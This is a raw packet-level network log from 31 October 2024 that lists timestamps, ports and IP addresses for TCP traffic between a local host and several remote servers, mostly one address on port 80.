Oct 31, 2024 03:04:32.184389114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184393883 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.184401035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184413910 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.184417963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184425116 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.184446096 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184458971 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.184487104 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.184638977 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184648991 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184659004 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184679985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.184691906 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.184819937 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184833050 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184843063 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184855938 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184859037 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.184866905 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184873104 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.184879065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184892893 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.184926987 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.184978962 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.184992075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185002089 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185014009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185015917 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.185026884 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185040951 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185050011 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.185051918 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185062885 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185074091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185077906 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.185091972 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.185117006 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185120106 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.185129881 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185141087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185157061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185162067 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.185168982 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185178995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.185209990 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.185257912 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185269117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185305119 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.185420036 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185430050 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.185467958 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.203780890 CET	443	49866	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.212620974 CET	443	49863	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.213196993 CET	443	49867	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.214049101 CET	443	49865	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.219494104 CET	443	49868	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.232477903 CET	49865	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.232490063 CET	443	49865	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.232647896 CET	49867	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.232656002 CET	443	49867	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.232764006 CET	49863	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.232799053 CET	443	49863	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.232923985 CET	49866	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.232937098 CET	443	49866	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.233009100 CET	49868	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.233021021 CET	443	49868	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.233896017 CET	443	49865	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.233957052 CET	49865	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.233994007 CET	443	49867	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.234040976 CET	443	49866	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.234045029 CET	49867	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.234086037 CET	49866	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.234263897 CET	443	49863	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.235944033 CET	49866	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.236006021 CET	443	49866	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.236433029 CET	49867	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.236643076 CET	443	49868	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.236713886 CET	49868	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.236856937 CET	49865	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.236928940 CET	443	49865	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.236968040 CET	443	49867	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.237684011 CET	49863	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.237931967 CET	443	49863	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.238274097 CET	49868	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.238395929 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.238430023 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.238464117 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.238473892 CET	443	49868	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.238493919 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.238496065 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.238543034 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.238692999 CET	49866	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.238701105 CET	443	49866	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.238749981 CET	49867	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.238759041 CET	443	49867	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.239156008 CET	443	49864	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.239507914 CET	49865	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.239516020 CET	443	49865	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.239645958 CET	49863	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.239808083 CET	49864	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.239816904 CET	443	49864	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.240073919 CET	49868	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.240081072 CET	443	49868	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.240153074 CET	443	49864	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.245929956 CET	49864	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.245995998 CET	443	49864	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.246453047 CET	49864	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.279686928 CET	49868	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.279692888 CET	49867	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.279694080 CET	49865	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.283337116 CET	443	49863	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.291336060 CET	443	49864	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:32.297179937 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297250032 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.297349930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297359943 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297372103 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297389030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297399044 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.297410011 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.297430992 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.297497988 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297509909 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297522068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297573090 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.297641039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297652006 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297663927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297674894 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297676086 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.297703028 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.297727108 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.297811985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297823906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297833920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297846079 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297857046 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297858000 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.297868967 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297873020 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.297888041 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.297915936 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.297966957 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.297977924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298002005 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298013926 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298132896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298150063 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298161983 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298173904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298186064 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298192024 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298197985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298214912 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298226118 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298270941 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298280954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298291922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298314095 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298324108 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298448086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298465014 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298504114 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298604965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298616886 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298629045 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298640966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298645020 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298669100 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298691988 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298780918 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298793077 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298804998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298815966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298820972 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298826933 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298840046 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298839092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298868895 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298881054 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.298919916 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.298953056 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299088001 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299099922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299112082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299124002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299137115 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299138069 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299146891 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299165964 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299179077 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299238920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299249887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299262047 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299273014 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299274921 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299299955 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299319983 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299392939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299405098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299438000 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299540997 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299557924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299571037 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299582958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299586058 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299593925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299604893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299612045 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299617052 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299628973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299635887 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299657106 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299671888 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299704075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299715042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299726963 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299740076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299750090 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299755096 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299761057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299772978 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299776077 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299806118 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299818993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.299846888 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.299880028 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300036907 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300048113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300059080 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300071001 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300071955 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300084114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300090075 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300096035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300108910 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300134897 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300337076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300385952 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300462008 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300473928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300484896 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300496101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300508976 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300510883 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300522089 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300534010 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300545931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300549030 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300559044 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300566912 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300589085 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300597906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300606966 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300615072 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300626040 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300632954 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300637007 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300647974 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300648928 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300658941 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300669909 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300677061 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300682068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300693035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300693035 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300720930 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300739050 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300769091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300781012 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300791979 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300802946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300815105 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300817966 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300826073 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.300852060 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.300868034 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301194906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301234007 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301327944 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301338911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301351070 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301362038 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301372051 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301373959 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301386118 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301398039 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301429033 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301476955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301486969 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301497936 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301511049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301522017 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301526070 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301532984 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301544905 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301552057 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301557064 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301568985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301569939 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301589012 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301608086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301613092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301618099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301636934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301642895 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301649094 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301660061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301668882 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301671028 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301682949 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301693916 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301698923 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301706076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301717997 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301724911 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301728964 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301745892 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301764965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301774979 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301786900 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301786900 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301799059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301801920 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301810026 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301820993 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.301826000 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301862001 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.301862001 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.302738905 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:32.302772999 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:32.312375069 CET	49866	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:32.353868008 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.353893995 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.353936911 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.353954077 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:32.353986025 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.354001045 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:32.356384993 CET	49876	443	192.168.2.5	23.221.22.215
